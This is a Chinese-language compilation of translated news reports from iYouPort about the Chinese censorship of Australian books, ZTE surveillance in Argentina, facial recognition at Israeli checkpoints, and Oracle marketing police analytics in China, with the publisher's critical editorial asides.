禁忌话题清单很长，虽然对中国来说会是“非常具体”。其中包括提及中国主要政治人物，如毛泽东和习近平，以及118名持不同政见者的名单，其名字都不被允许提及。

天安门广场、香港民主抗议活动、西藏独立、维吾尔人和法轮功等政治话题都在审查之列。色情也是完全被禁止的，但即使是裸体艺术作品都可以被审查。中国当局对如何绘制地图非常敏感，因为它们可能涉及有争议的边界。更令人惊讶的是禁止提及主要宗教。

澳大利亚报纸说，该规则已经存在一段时间了，但在很大程度上被忽略了。然而，现在，审查员正在检查每本书的每一页，并严格执行规

则。这是中国当局对控制生活各方面的强烈愿望的另一个标志：甚至延伸到了境外。

China Extends Its Censorship To Australian Books, Written By Australian Authors For Australian Readers. It’s yet another sign of Xi Jinping’s obsessive desire to control every facet of life—even outside China, if he can.

原文

阿根廷不只有足球，还有中国的中兴通讯 - iYouPort

中国-半壁高堡奇人作恶者：中国在帮谁

“像中国一样安全” —— 这句话是最有趣的

「图」

「图」

在阿根廷偏远的北部胡胡伊省，中国电信巨头中兴正在安装这个亚洲国家庞大的监控网络的一小部分 —— 当地政府称监视摄像机将“有助于遏制街头犯罪”。

延伸：

- 《图解中国科技巨头—半壁“高堡奇人”》
- 《中国和美国如何协助暗杀：走进暗杀之城》
- 《中国和日本如何协助对反抗者的镇压》
- 《中国、美国、英国、法国、意大利和朝鲜如何帮助专制国家间谍异议人士》
- 《中国老大哥在纽约》
- …… 更多详见类目《作恶者：中国在帮谁》

中兴通讯（000063.SZ）于3月份与 Jujuy 签订了价值近**3000**万美元的监控合同，提供包括监控摄像头、监控中心、应急服务和电信基础设施。三年前中兴通讯首次在该国推出了销售宣传。

这笔交易是中国在拉丁美洲取得技术进步的又一个例子。

布宜诺斯艾利斯的一位中国官员告诉路透社，Jujuy 项目可以通过鼓励其他城市采用类似的监视技术来帮助中国扩大其在拉美的科技足迹。

延伸：《中国老大哥盯上拉美人》

美国国务院西半球事务局发言人在一份声明中说，华盛顿对中兴通讯在胡胡伊的项目表示“担忧”。

美国称其对盟国发出了警告，但是几乎没有提供任何证据，阿根廷和中国官员在对路透社的采访和声明中淡化了对胡胡伊项目的担忧。

在阿根廷占有一席之地的中兴通讯拒绝分享其在拉丁美洲监控技术项目的公司数据，也没有对此事进行评论。

5月份在首府圣萨尔瓦多德胡胡伊举行的一次活动中，中兴通讯在阿根廷的总经理 Dennis Wang 与他的安全部长和警察官员 Gerardo Morales 一起做了演讲，并介绍了该技术如何帮助降低中国的犯罪率。

胡胡伊早已与中国关系密切。一家中国公司在该省大量投资锂矿开采，中国公司还为一个巨大的太阳能发电厂提供融资和技术，这是南美洲最大的太阳能发电场。

现在，胡胡伊可以“像中国一样安全”，当地政府在有关此事件的公告中这样写道。

中国较低的犯罪率部分是由于其庞大且有争议的监视器、摄像机、面部识别软件、公民数据库和由执政的共产党控制的高定罪率的法院。

人权监督机构表示，中国滥用这些权力压制其本国公民的异议和抗议。

中国在新疆西北部地区建立了广泛的视频监控系统，并安装了智能手机监控技术，在这里，有超过一百万的维吾尔族和其他穆斯林被关押在集中营。

根据包括新疆监控基础设施在内的采购文件显示，中兴通讯及其子公司积极参与建设中国的内部监控项目。

布宜诺斯艾利斯的中国官员认为美国的担忧是对中国企业成功的“焦虑”，尤其是中兴通讯和华为技术有限公司[HWT.UL]等公司正在争夺5G电信技术的主导权。

这位不愿透露姓名的官员表示，拉丁美洲国家对提高安全性的需求日益增长，为中国创造了以具有竞争力的价格销售监控技术的机会。

阿根廷对这笔交易没有任何担忧，中国被视为一个主要的贸易伙伴和

金融家 —— 被视为一个重要的盟友，而不是一个威胁。

胡胡伊官员有理由对经济实惠的中国科技保持开放。该省是阿根廷最贫穷的省份之一，犯罪率略高于全国平均水平。

安全部长 Ekel Meyer 在圣萨尔瓦多德胡胡伊的一次采访中说，居民“接受了”安全摄像头的监视，以“换取”更安全的街道。

他希望通过将监视系统扩展到包括面部识别技术来进一步发展，这是中国作为其国内监控网络的一部分而推出的重要工具。

政府表示，中兴通讯已在当地公共城市公园内建立了一个小型试验区，该项目第一阶段的出货于9月到达。

一位了解 Jujuy 项目的消息人士表示，政府官员没有对该技术的漏洞进行任何形式的评估。

联合国数据隐私问题特别报告员约瑟夫·卡纳塔西（Joseph Cannataci）在最近访问阿根廷期间告诉路透社，该国需要更好地审查其购买的安全设备和软件。

“我不在乎你从谁那里购买它……你不应该认为你所购买的供应商是完全值得信任的。你应该进行隐私影响评估”，他说，指的是联合国推荐的测试，以确保人们的隐私权不受侵犯。

在委内瑞拉，中兴通讯还帮助总统尼古拉斯·马杜罗（Nicolas Maduro）政府推出了名为“祖国卡”的智能ID卡。

持卡人的数据会传输到中兴通讯提供的服务器上，并且此卡越来越多地被政府与补贴食品、健康服务和其他社会计划联系起来。

在厄瓜多尔，华为和国有的中国电子进出口公司于2011年为该国政府建立了4000多台摄像机的监控系统。

- 《中国的中兴如何帮助委内瑞拉创造中国式的监控社会》

在乌拉圭，政府于2月份宣布中国捐赠了2,100台华为监视摄像机。安装在四个城市。

- 《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

在巴西，副总统 Hamilton Mourao 在6月份表示，政府不会排除允许中国公司运营5G移动电信网络的可能性。〇

‘Safe like China’: In Argentina, ZTE finds eager buyer for surveillance tech

原文

"这是分裂社会的一种方式"：两个反乌托邦城市的连接 - iYouPort

协助暴政的家伙们

维稳部队无处不在，在社区内埋下了不信任的种子，“人们不知道自己的邻居或家庭成员里有没有人与军方合作”……

「图」

「图」

对于西岸成千上万的巴勒斯坦人来说，每天进入以色列工作、探亲和做其他生意的旅程都是从耶路撒冷附近的这个检查站开始的，这地方让人联想到监狱入口的通道。

卡兰迪亚过境点的灰色建筑周围有混凝土墙，看起来一部分是过境站，一部分是军事掩体。在里面，一家人挤在一起拖着大行李箱穿过迷宫般的走廊，来到一套高科技的旋转门前，门上装有和该检查站本身一样令人难以理解的东西：面部识别扫描仪。

在最近一个早晨，当 Khaled Habyeab 把他的身份证放在读卡器上时，扫描仪的绿光照在他的脸上。那个超大的透明门唰的一下打开了。和其他前往以色列工作、看病或旅游的巴勒斯坦人一样，这位西岸中部的居民必须携带身份证和一张列有他来访原因的许可证。

Habyeab 是一位30岁的餐馆经理，他说他的记录清白，没有被捕记录、也没有参加过任何政治活动，这可以让他在申请当天就能收到以色列民政局办公室发的生物识别卡。他计划在休息日和妻子一起来特拉维夫玩玩。

「图」

「图」

30岁的 Khaled Habyeab 2020年2月25日在耶路撒冷北部的卡兰迪雅

检查站刷脸。以色列使用面部识别技术升级了西岸检查站，这项技术的使用引起了人们对该技术争议在以色列对巴勒斯坦人的军事控制中所起的作用的批评。（The Seattle Times）

「图」

「图」

Khaled Habyeab 离开时，他与其他巴勒斯坦人检查站排队等候。(Heidi Levine / For The Seattle Times)

虽然去年夏天在卡兰迪亚和其他26个检查站安装的面部识别系统引起了人权倡导者的愤怒，但 Habyeab 说，与前几年保安人员人工检查身份证时漫长的等待相比，这种系统很有效。他说，检查站一度挤满了等待的人，场面混乱，就像 “鸡在鸡笼里走来走去”。

尽管如此，面部识别扫描仪仍然提醒着以色列对该地区的长期占领，Habyeab 通过翻译说：“这里没有自由”。

这些面部识别扫描仪是由"以色列人工智能维稳初创公司 AnyVision"开发的，该公司与总部位于雷德蒙德的微软有联系。微软的风险投资基金M12因去年6月参与了对这家AI维稳公司7400万美元的投资而深受抨击。AnyVision 没有回应多次置评请求。

西雅图和以色列的人工智能生态系统长期以来有着密切的联系，从微软和亚马逊对以色列初创企业的收购到持续的学术合作。AI监控技术的全球扩张在以色列有一定的根基，其触角一直延伸到美国-墨西哥边境。

隐私国际组织2016年的一份报告发现，以色列拥有全世界人均最高的监控公司。最近几周，以色列总理本雅明·内塔尼亚胡宣布，国家将使用数字监控技术等反恐措施，追踪可能接触 COVID-19 的人。

以色列采用生物识别扫描的做法是一个全球性的模式 —— 也是一个警示性故事 —— 关于如何解决隐私和安全问题以及边境安全的技术解决方案。隐私倡导者和人权律师担心，这种高风险创新的代价是有可能进一步侵蚀巴勒斯坦人和以色列人之间已经充满矛盾的关系。

- 不要错过重要内容《当您准备寻求庇护 …… 移民和难民需要注意的10大威胁》

以色列网络法律师 Jonathan Klinger 认为，国家的监控网络 “基于这

里有两类人” —— 有隐私人权的以色列公民和隔着栅栏没有权利的西岸巴勒斯坦人。

「图」

「图」

左起：研究科学家 Jonathan Berant、 Reut Tsarfaty；研究总监 Yoav Goldberg； 首席运营官 Ron Yachini，2020年2月26日在以色列特拉维夫艾伦人工智能研究院外面

与西雅图的关系

在一个俯瞰特拉维夫时尚区的老房子里，艾伦人工智能研究所（AI2）的研究人员挤在一排排电脑前，目标是建立自然语言处理模型。

这个八人团队努力让机器更好地理解人类语言，包括书面和口语。

- 关于自然语言处理技术，在这里看到中国的案例 《中国AI巨头让监视如此容易》

这家位于西雅图的研究所去年在以色列建立了美国以外的第一个实验室，以利用人才的集中，并从所谓的 “创业国家” 产生的想法中获益，AI2首席执行官 Oren Etzioni 说。

AI2 研究科学家 Reut Tsarfaty 坐在特拉维夫办公室宽敞的客厅里，他说，西雅图办公室以英语为母语的人和以色列以希伯来语为母语的人之间的合作为 “我们建立[系统]模型的方式提供了一个优势”，将其通用于多种语言。

「图」

「图」

2020年2月26日，以色列特拉维夫艾伦AI研究所的研究人员 (Heidi Levine / for The Seattle Times)

特拉维夫的人工智能研发近年来飞速发展。根据 Start-Up Nation Central 的一份报告，2018年，人工智能公司筹集的资金占全国所有风险投资的近**40%**。

以色列驻旧金山领事馆创新和创业事务主任 Ran Laviv 表示，华盛顿与以色列的贸易关系非常紧密，重点是技术。以色列对华盛顿的出口额从2012年的8350万美元增长到2016年的2.37亿美元，主要产品包括计算机和电子零件。

- 在这里看到关于以色列技术的专栏
- 例如《以色列创业公司筹集了1250万美元，让政府可以破解物联网》
- 再有 《美国公关公司为以色列间谍软件巨头服务》
- 还有 《以色列的监视技术出口为什么不同？》

自**2014**年开设亚马逊云计算服务（**AWS**）特拉维夫办事处以来，亚马逊在该地区进行了大量投资。 2016年，亚马逊收购了以色列芯片公司 Annapurna Labs，这刺激了AWS的发展。

微软在以色列有着悠久的历史，从1991年在特拉维夫推出其在美国以外的第一个研发中心开始。这家总部位于雷德蒙德的寡头公司今年又宣布了开发以色列园区的计划，并在最近表示将于明年在那里推出一个云数据中心。

微软以色列公司负责人 Ronit Atad 在一月份对《以色列时报》表示：“这进一步证明了微软在以色列的战略性市场。”

微软将特拉维夫作为其创业项目 “微软创投加速器” "的试验场"，该项目后来扩展到中国、法国、印度、德国和英国。特拉维夫项目于2012年启动，在4个月内为入选的初创企业提供办公空间、指导和服务。

在过去的20年里，微软收购了十多家以色列科技公司，包括企业安全和机器学习创业公司 Aorato、文本分析服务 Equivio、和网络安全创业公司Hexadite。

除了强大的贸易关系，华盛顿大学与以色列机构巴伊兰大学和特拉维夫大学在人工智能研究方面的学术合作也促进了双方关系的不断发展。

「图」

「图」

2020年2月28日，在耶路撒冷以东的西岸犹太人约旦河西岸 Ma’ale Adumim 定居点 (Heidi Levine / for The Seattle Times)

西岸安全

在前往特拉维夫以东40英里处的卡兰迪亚检查站的路上，一个高耸的碉堡竖立在一片灰色的晴空中。碉堡俯瞰443号公路，2000年代初，这里曾发生过几次针对以色列乘客的致命袭击。

在卡兰迪亚检查站，隐约能听到附近一个村庄传来伊斯兰教的祈祷声。过境点对面的一个难民营里住着大约1万名巴勒斯坦人，自1949年以来，几代人都在这里生活。

这一天，29岁的手机销售员 Mahmoud Matari 从拉马拉前往申请医疗许可。他出示了医院的一封信，信中注明了他的预约日期和时间。Matari 对过境点的高科技安保工作很恼火，他说："我们别无选择。当然，这让我非常生气。"

Matari 说，他很担心以色列国防军滥用他被储存的私人信息，但"即便不刷这个卡，他们照样可以跟踪你"。

其他通勤者包括来自图勒凯尔姆的建筑工人 Muhammed Shalabi，他每次在特拉维夫和以色列其他地区工作时都会经过这个检查站。当被问及是否担心以色列政府收集他的数据时，他说："众所周知，他们拥有每个人的信息。"

除了生物识别卡，他还带着以色列雇主发给他的通过检查站的许可证。Shalabi 说，他每天从凌晨3时30分开始通勤5个小时，只因为"另一边" 的工资更好。

「图」

「图」

29岁的 Mahmoud Matari 从拉马拉前往卡兰迪亚检查站，要求获得以色列的医疗许可证。

「图」

「图」

巴勒斯坦工人在金属探测器和自动安检门前等待，以检查他们越过卡兰迪亚检查站时使用的许可证。

「图」

「图」

现年50岁的 Wafa Froukh 为巴勒斯坦卫生部工作，今年2月进入穿越耶路撒冷北部卡兰迪亚检查站

「图」

「图」

六岁孩子的母亲 Fatima Abu Zeid 于2020年2月25日在耶路撒冷北部的卡兰迪亚检查站出示生物识别身份证。以色列使用面部识别技术升级了西岸检查站，以核实进入以色列的巴勒斯坦人的身份。

「图」

「图」

来自西岸纳布卢斯49岁的 Adeeb Zirdam 于2020年2月25日在耶路撒冷北部的卡兰迪亚检查站展示其生物识别身份证

卡内基国际和平基金会民主、冲突和治理项目的非驻地研究员 Steven Feldstein 认为，前军事人员 —— 考虑到国家的强制征兵，这些人非常多 —— 和当权者对边境维稳的关注，刺激了大量的人工智能监控初创公司在以色列的创建。在2019年的一份名为《人工智能监控的全球扩张》的报告中，Feldstein 写道，以色列是全世界少有的几个民主国家 “积极地向不光彩的政权出售先进维稳设备” 的国家之一。

- 其实吧，不算“少有” …… 具体内容见 列表-4 “协助暴政的家伙们”

他说，以色列开发的技术随后被传播到世界各地的其他政府。例如，根据2018年彭博社的一份报告，以色列国防承包商 Elbit Systems 公司已经建造了数十座塔楼，以监视抓捕亚利桑那州边境上的人 —— 这项技术最早是为了在以色列和西岸之间建造所谓的 “智能围栏” 而开发的。

「图」

「图」

2020年2月28日，沿着哈拉米什犹太人西岸定居点周围的电网围栏，这里有很多监视摄像机

卡兰迪亚检查站的监视设备是西岸被占领土上采取的维稳措施的象征。在卡兰迪亚以北约30英里处的以色列定居点 Halamish，高科技监视摄像机密集地排列在大院的门上。沿着带刺铁丝网，每隔100英尺就有一个白色的监视摄像头，摄像头指向外面的丘陵、干旱的地形。

Halamish 发言人 Miri Moaz-Ovadia 在这个拥有43年历史、约1500居民的东正教犹太社区长大，她说，在2000年代初，当她还是个少年时，周边地区对以色列人来说非常不安全，以至于他们中的许多人在社区外都戴着防护装备。现在，她和丈夫抚养三个孩子，房子的天花板很高，打开门就能听到外面啾啾的鸟叫声。Moaz-Ovadia 在客厅里抚摸着女儿的头发说："人们来到这里，因为他们觉得这是一个非常安全的养家糊口的地方"。

Moaz-Ovadia 说，居民有时会支付一家私人保安公司的费用让他们在该地区巡逻，这些监视摄像头的资金来自以色列公共安全部和私人捐款的帮助。由人工智能驱动的监视摄像头使用雷达和视频分析来确定是否有动物或人接近此地。

「图」

「图」

Miri Moaz-Ovadia 和她的孩子们在西岸犹太人定居点的房屋外。自2012年以来，Ovadia 一直担任Yesha委员会的发言人

"我祈祷有一天能得到真正的和平，不需要任何类型的监视或士兵"，Moaz-Ovadia 说。但在冲突结束之前，我们只能屏住呼吸"，她补充道。

"底线是我有三个孩子，我希望他们快乐和安全"，Moaz-Ovadia 说。

这是道德的吗？

位于特拉维夫的数字权利活动家 Alison Carmel Ramer 认为，AnyVision 的人工智能监视技术是利用大规模监视巴勒斯坦人的训练数据开发的，她认为这违反了国际法。

她说："开发技术是为了卖钱 …… 这不是监视人民的合法理由"。

根据3月27日的声明，去年秋天，微软聘请了美国前司法部长 Eric

Holder 对 AnyVision 进行审计，发现该公司“目前并没有像媒体报道中所说的那样，在约旦河西岸启动大规模监控计划”。不过，微软旗下的M12还是宣布将剥离 AnyVision 的股份，因为它无法对该技术进行“监督或控制”。

以色列人权律师 Eitay Mack 表示，以色列政府的监控范围尚不清楚。他认为，以色列将大部分人工智能监控系统出口到国外，而在国内则依靠人力维稳 —— 群众斗群众。维稳部队无处不在，在西岸的巴勒斯坦社区内埋下了不信任的种子，他说：“人们不知道自己的邻居或家庭成员里有没有人与以色列国防军合作。”

“这是一种使巴勒斯坦社会碎片化的方式”，Mack 说。

- 这也是人们在中国新疆看到的维稳模式的一部分，见《维族妇女对战中国的监视国家》

A tale of two AI cities: The Seattle connection to Israel’s surveillance network

原文

10年，美国巨头帮助中国构建的反乌托邦地狱 - iYouPort

作恶者：谁在帮中国协助暴政的家伙们

如果没有这些美国巨头的鼎力协助，中国警察的抓捕工作是无法完成的

「图」

「图」

【按】这套文件的揭露对于很多人来说或多或少都会有点打脸的感觉—— 一定程度上包括IYP。虽然IYP有专门的栏目收集 “作恶者：谁在帮中国”，并且，该专栏中收集的报告可以明确显示，帮中国最多的"是美国"；但我们经常会有一种观察界的习惯性想法，即 “中国很可能难以信任对手国家的技术”。

这种想法在很多方面都是可靠的，比如加密技术方面，尤其是数据作为重要政治权力的严酷竞争局面之下。在斯诺登2013年吹哨后，全世界有能力的国家都开始改变战略，以支持本土自己的技术应用，这其中中国是最显著的一个，也是为什么形成了上述认知的普遍性。

但事实显示，我们可能都错了。这套文件横跨**10**年，从**2010**到**2020**，它显示了美国技术巨头公司如何深入中国大规模监控网络的方方面面，从在线到现实，从汉族到维族，从社交媒体情报到开房记录、从人脸到**DNA**、从车牌到**QQ**微信 **……**从民间到军队。斯诺登的2013吹哨和特朗普的2019禁令都没有明显改变中美在大规模监控方面的紧密合作。

也就是说，美国巨头从中国当局开始准备构建大规模监视反乌托邦的最初，就参与进来了，一直持续至今。

此前已经有对IBM和谷歌在中国做的同样的事的惊人揭露，见《美国科技巨头如何帮助中国建立大规模监视系统》，而最新的揭露可能更惊人。

当中国网民看到一些诸如“诋毁英烈者被抓捕”、“根据开房记录的追踪”、“私人聊天内容被起诉”、“网购书籍被喝茶”……等等的新闻时，请记得所有这些报告提出的警示，关于：如果没有这些美国巨头，上述中国警察的行动都无法完成。

「图」

「图」

看一个近期新闻

中国辽宁省的警察正坐在通过侵入性手段收集的数据堆上：财务记录、旅行信息、车辆登记、社交媒体情报、和监控摄像头录像。为了理清所有这些数据，他们需要先进的分析软件。美国商业计算巨头甲骨文公司（Oracle）的产品可以从警察局拥有的不同信息源中找到相关的数据，并将其与正在进行的调查信息合并。

2018年，在该公司加州总部举行的一次开发者会议上，一位中国的甲骨文工程师如此解释。甲骨文公司网站上托管的演示文稿的幻灯片以“案例大纲”开始，列出了辽宁警方“用于”做犯罪分析和预测的四个美国甲骨文公司“产品”。

其中一张幻灯片显示，甲骨文软件使中国辽宁警方能够根据酒店登记情况创建网络图，并追踪任何可能与特定目标人有联系的人。另一张幻灯片则显示该软件被用于建立警方的仪表盘，并创建“安全案件热图”。

该软件界面的明显图片显示了一张模糊的脸和各种中文名字。最后的幻灯片称，该软件帮助警方（其数据集一直“无法理解”）更容易地“追踪关键人物/对象/事件”和“识别潜在的嫌疑人”—— 在中国，这通常意味着"异议人士"。

根据甲骨文公司网站上托管的数十份公司文件，美国甲骨文公司的代表已经向中国各地的警察和维稳行业承包商推销了该公司的数据分析技术。在至少两个案例中，这些文件暗示省级部门在其业务中使用了该监视软件。一个是关于辽宁省的幻灯片故事；另一个是甲骨文公司的一份文件，该文件将山西省的警方描述为需要情报平台的“客户”。

根据这些文件，甲骨文还吹嘘其数据安全服务被中国其他警察实体使用 —— 包括新疆的警察，每个人都知道新疆发生了什么。

「图」

「图」

在加州Redwood Shores举行的2018年甲骨文会议上的演讲幻灯片描述了使用甲骨文软件执行的数据分析

📌 在营销材料中，甲骨文公司表示，其软件可以帮助警方利用社交媒体在线评论、调查记录、酒店登记、车牌信息、DNA数据库等信息，以及利用任何人物图像进行面部识别。

📌 甲骨文公司的介绍甚至建议中国警方可以利用其产品将社交媒体活动与中国政府专门的数据库结合起来，以追踪任何人。

📌 甲骨文员工还为中国的“警察云”推广该公司的技术，这是一个作为新兴的反乌托邦监视国家的一部分而实施的大数据平台。

多份甲骨文公司的材料暗示，该公司已经大大超出了向中国警方营销的范围，中国警方作为该国公安部的一部分开展工作。

📌 一份详细介绍甲骨文数据库和数据安全产品的资料中包含一张题为“甲骨文和国防工业”的幻灯片。该标题后面是多个中国军事实体的名单，包括中国人民解放军、中国国家核工业集团公司、和中国航天科技集团公司。

国防实体也是甲骨文另外两个中文介绍的明显目标，其中最近的一个日期是2015年，还有甲骨文网站上用中文列出的名为“人民武警部队-甲骨文云计算交流论坛”和“甲骨文西安航空与国防工业信息化研讨会”的活动。目前还不知道甲骨文软件是否被任何中国军事实体使用，也不知道该公司是否与它们有哪些协议。仅仅是不知道。

总而言之，这些文件描绘了一幅令人不安的画面，一家美国科技公司完全抛弃了自己宣称的价值观，在中国推销其大数据分析产品，而中国最强大的数据收集者是中国政府。

甲骨文关于中国维稳机构的介绍，对这家与美国国防机构关系密切的公司来说，提出了一些严重的问题。该公司去年"已经表示"，它的客户包括“美国军方的所有5个部门”，而且它最近与美国国家航空航天局（**NASA**）、商务部（**Department of Commerce**）和"中央情报局（CIA）"都有签订了的或即将签订的合同。甲骨文还与美国的警察部门进行了密切合作。

「图」

「图」

甲骨文的一张名为 “甲骨文与国防工业” 的幻灯片描述了中国人民解放军、中国核工业集团公司和中国航天科技集团公司

甲骨文的政府工作帮助它在和沃尔玛于去年为中资社交媒体公司 TikTok 争夺美国业务控制权的过程中战胜了竞争对手，此前特朗普政府命令TikTok为其美国业务寻找美国买家。这项拟议的交易在法庭上受到挑战，原因是担心 TikTok 位于北京的母公司可能会将敏感的用户数据传递给中国当局。但是，奇怪的是，这些文件显示，甲骨文公司推销其软件被中美当局同时使用，这是一个将利润置于人权之上的极端案例。

- TikTok是否将美国用户的数据传递给了中国当局？目前为止还不知道，没有证据，但是，已经有证据的是《泄漏文件揭露TikTok如何与美国警察合作维稳镇压》
- 对 TikTok 的争夺战与其宣称的 “隐私考虑” 完全无关，而是利益竞争，这里是解释《谁拥有TikTok并不重要》

“美国公司不应该向中国公安部出售任何类型的监控预测性镇压系统”，人权观察组织的中国高级研究员说，“他们不应该与公安部有任何业务往来。这让人对西方在激发和建设中国监控系统方面所扮演的角色产生了疑问”。

- 《中国的反乌托邦监视国家是美国制造的》

除了人权问题，这些文件还指出了更深刻的国家安全问题。其中一份以军事为导向"的报告"引用了甲骨文在美国的国防工作，显然是为了赢得中国的云计算合同。

“一家美国科技公司正在营销提高中国军队战斗力的技术，这绝对是一个糟糕的状况，尤其是考虑到甲骨文是如何狂热地继续追求为美国国防部工作的机会”，新美国安全中心研究员、中国军事战略研究专家艾尔莎·卡尼亚（Elsa Kania）在审阅相关文件后说。“这说明了对利润和市场份额的追求远超过了道德和尽职调查的考量”。

甲骨文发言人杰西卡·摩尔 (Jessica Moore) 在给 TheIntercept 的一份声明中表示，这些材料展示了 “如果其他人在这些材料的基础上构建我们的产品，我们的产品可以做什么” ，是 “有抱负的业务发展想法”

，“并不表明任何有针对性或计划中的销售/支持执行”。她辩称该公司没有销售数据分析软件“用于这些材料中暗示的任何最终用途”，她说，“此类活动将被视为与甲骨文公司的核心企业价值观不一致，包括我们的人权声明。”

她进一步表示，甲骨文公司做了“广泛的尽职调查”，以确保其出口符合贸易限制，包括在与中国军方的任何交易中。当被问及甲骨文明显向与中国军方有关联的实体进行营销时，她写道：“任何此类交易都必须完全遵守美国适用的出口管制和经济制裁法律和法规。而且除了我们的法律和监管义务之外，甲骨文公司在如何对待这类机会方面都非常保守和谨慎”。

「图」

「图」

甲骨文董事会主席兼该公司首席技术官拉里·埃里森（Larry Ellison）在2019年9月16日旧金山举行的年度Oracle OpenWorld会议上作了主题演讲

摩尔将该工程师关于辽宁警方利用甲骨文软件的故事描述为一个“理论性”的“推销牌”，并表示它“没有描绘或展示一个实际的甲骨文实施解决方案”。她说，这“需要大量的第三方工作来实际开发和实施”。

甲骨文的一位前高级总监 Xavier Lopez 告诉 TheIntercept，像辽宁警方这样的营销案例经常在技术会议上被展示，向开发者展示他们如何在通用的甲骨文平台之上为特定行业或政府实体构建定制软件。**Lopez** 在"2017年旧金山举行的甲骨文 OpenWorld 大会"上联合介绍了一个类似的中国警察“用例”，这是一个大规模的年度会议，吸引了大约**6**万名与会者。

📌 该演讲中指出，一个未指名的“中国警察局”使用甲骨文图表分析软件，通过摄取“文件、社交媒体、网络内容、聊天室、航班记录、酒店住宿登记、以及任何公开的[原文如此]数据集”来锁定任何目标人。

Lopez 证实，“中国的省级警察使用该软件进行开发”，指的是幻灯片中描述的数据分析，“他们与我们分享了一些关于如何使用它的通用信息”。他声称他不记得是哪个省的中国警察提供的信息。

甲骨文发言人摩尔说，对于 Lopez 的演示，“我们没有已知的与 ‘中国警察局’ 的实施”，“‘用例’ 的定义与实际的、可实施的产品或服务之间有很大的不同，而甲骨文公司没有这样的产品或服务”。

📌 不过，**Lopez** 明确表示，他的演示并非假设：“数据不是来自我们。数据来自中国的某省。该省使用甲骨文软件，他们授权软件用于不同的事务，不同的用例。这就是他们将软件用于该特定用途的一个例子”。

【注：这就是我们认为最值得警惕的地方 —— 中国警方（甚至包括军方）将自己的数据输入到美国巨头的软件中进行分析，这应该提醒那些一直认为 “数据权力争夺战中的对手不会这么做” 的推测，重新考虑。】

「图」

「图」

2020年10月1日，游客们站在北京附近八达岭长城部分的监控摄像头附近

美国队

甲骨文公司在上世纪**70**年代末开始为美国中央情报局建立数据库，至今仍培养着与美国政府紧密结盟的声誉。该公司联合创始人兼董事会主席拉里·埃里森 (Larry Ellison) 批评了谷歌2018年的中文搜索引擎 “蜻蜓” 审查计划，他告诉福克斯新闻，“我们与中国进行了一场严重的竞争。我是美国队的一员”， 他补充说，谷歌 “进入中国，并为中国政府监视他们的人民提供便利，这是相当令人震惊的事实”。

- 《为什么说 Google 搜索能否成功回归中国市场根本不重要？》
- 《真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来》

同时，甲骨文首席执行官萨弗拉·卡茨是人工智能国家安全委员会的委员，该委员会是国防部支持的一项倡议，旨在保持美国在人工智能领域的主导地位。该委员会的一个重要兴趣就是：中国日益增长的技术实力，在担任委员期间，卡茨每周都会收到国家安全委员会前中国方面负责人关于 “中共恶意行为” 的最新电子邮件。

（简单说，他随时都知道中国当局的恶行是什么，但显然，他完全不在乎；相反，他想要从作恶中寻求赚钱的机会）

“令人担忧的是，甲骨文高管正在决定美国的国家安全政策，却同时向中国警方推销同样的技术，用于情报目的”，杰克·普尔森（Jack Poulson）说，2018年 TheIntercept 曝光了谷歌在中国的搜索计划后，他从谷歌辞职，现在是非营利组织“技术调查”（Tech Inquiry）的执行董事，该组织负责监督科技公司的偏见、人权侵犯和资金流动，“甲骨文并不是第一家这样的美国公司，但这可能是最恶劣的例子之一”。

- 在这里看到 Jack Poulson 的陈述《辞职抗议的顶级人工智能科学家详述了谷歌的虚伪》

甲骨文与特朗普政府关系融洽，这一事实可能有助于其竞购 TikTok。卡茨是特朗普2016年过渡团队的成员，她去年向特朗普的连任竞选活动捐赠了13.06万美元。但 TikTok 交易的命运现在可能掌握在乔·拜登手中。

TikTok 一直在法庭上对抗特朗普的行政命令，目前还不清楚拜登的司法部是否会对特朗普的行动进行辩护。近期华尔街日报报道称，拜登政府已经无限期搁置了 TikTok-甲骨文-沃尔玛的交易。与此同时，甲骨文在技术上仍有机会收购 **TikTok** 美国业务的大量股份。根据拟议的交易条款，甲骨文将作为一家名为 TikTok Global 的独立公司的主要投资者，托管流经该应用的所有美国用户数据。它还将能够审查 TikTok 的源代码。

「图」

「图」

甲骨文的最新文档描述了为中国多个地区（包括新疆）的警察提供的数据工作

甲骨文对 TikTok 和数据驱动警务的兴趣源于其对蓬勃发展的云计算市场的持续推动，以及其人工智能产品的相关扩张。该公司的根基是数据库软件，但在过去十年中，它已经收购了多家在线搜索和数据分析初创公司。甲骨文还成为了一个主要的数据中介，它声称要"出售"全球**3**亿多人的数据 —— 它"称之为" “世界上最大的第三方数据收集”。

甲骨文的努力是全球性的科技巨头进入警务领域转变的一部分，在这一转变中，更多的小众公司如 Palantir 和 PredPol 正在被亚马逊、IBM和微软等大型平台公司所淘汰。甲骨文的数据分析软件和应用"已经"被芝加哥"警察局"和伊利诺伊州警察局、以及很多美国地方政府所使用。

但根据 The Intercept 揭露的公司文件和警方合同，以及上传到 Slideshare 和其他网站的甲骨文员工明显的演讲显示，📌 甲骨文还在人权记录恶劣的国家推销其软件的警方应用，不仅包括中国，还包括巴西、墨西哥、巴基斯坦、土耳其和阿联酋。这些文件明确表示，该软件可用于进一步的深入监控。

甲骨文公司网站上的一份全球营销手册指出，警方 “需要在一个源头上进行犯罪行为分析和社交媒体分析” ；另一份手册暗示，📌 甲骨文的软件可以帮助警方每天从主要的社交媒体应用 —— 包括中国的微信和微博 —— 以及 “聊天室、论坛页面、评论、和新闻媒体中"过滤7亿条信息"”。 在 “需要克服的障碍” 下，它列出的是：”隐私保护” 。隐私保护被认为是障碍 **……**

总部设在里约热内卢的安全和公民身份研究中心的研究员巴勃罗·努内斯说：“我们有很多证据足够表明，这类技术对黑人和郊区贫困人口的歧视潜力” ，指的是在里约热内卢的贫民窟和其他贫困社区，“这也加强了城市中某些空间的犯罪化” 。

📌 甲骨文公司的一些营销材料声称，其技术可以帮助官员预防或预测犯罪—— 即 少数派报告。即使在对公民自由保护有力的社会，这也是一种似是而非的可怕说法。在缺乏新闻自由和其他必要的公民问责手段的中国，警察可以利用大数据来证明任何决定的合理性 —— 最可怕的是，在新疆拘留维吾尔族和其他少数民族。

甲骨文公司发言人摩尔说，该公司的全球客户和最终用途都是 “经授权” 的，该公司的产品并不是专门为犯罪或监控定制的。“第三方或系统集成商可以在我们的技术之上开发产品”，她写道，“可以为这些目的进行配置和实施，但需要涉及广泛的咨询/开发这些系统。”

综合性警务

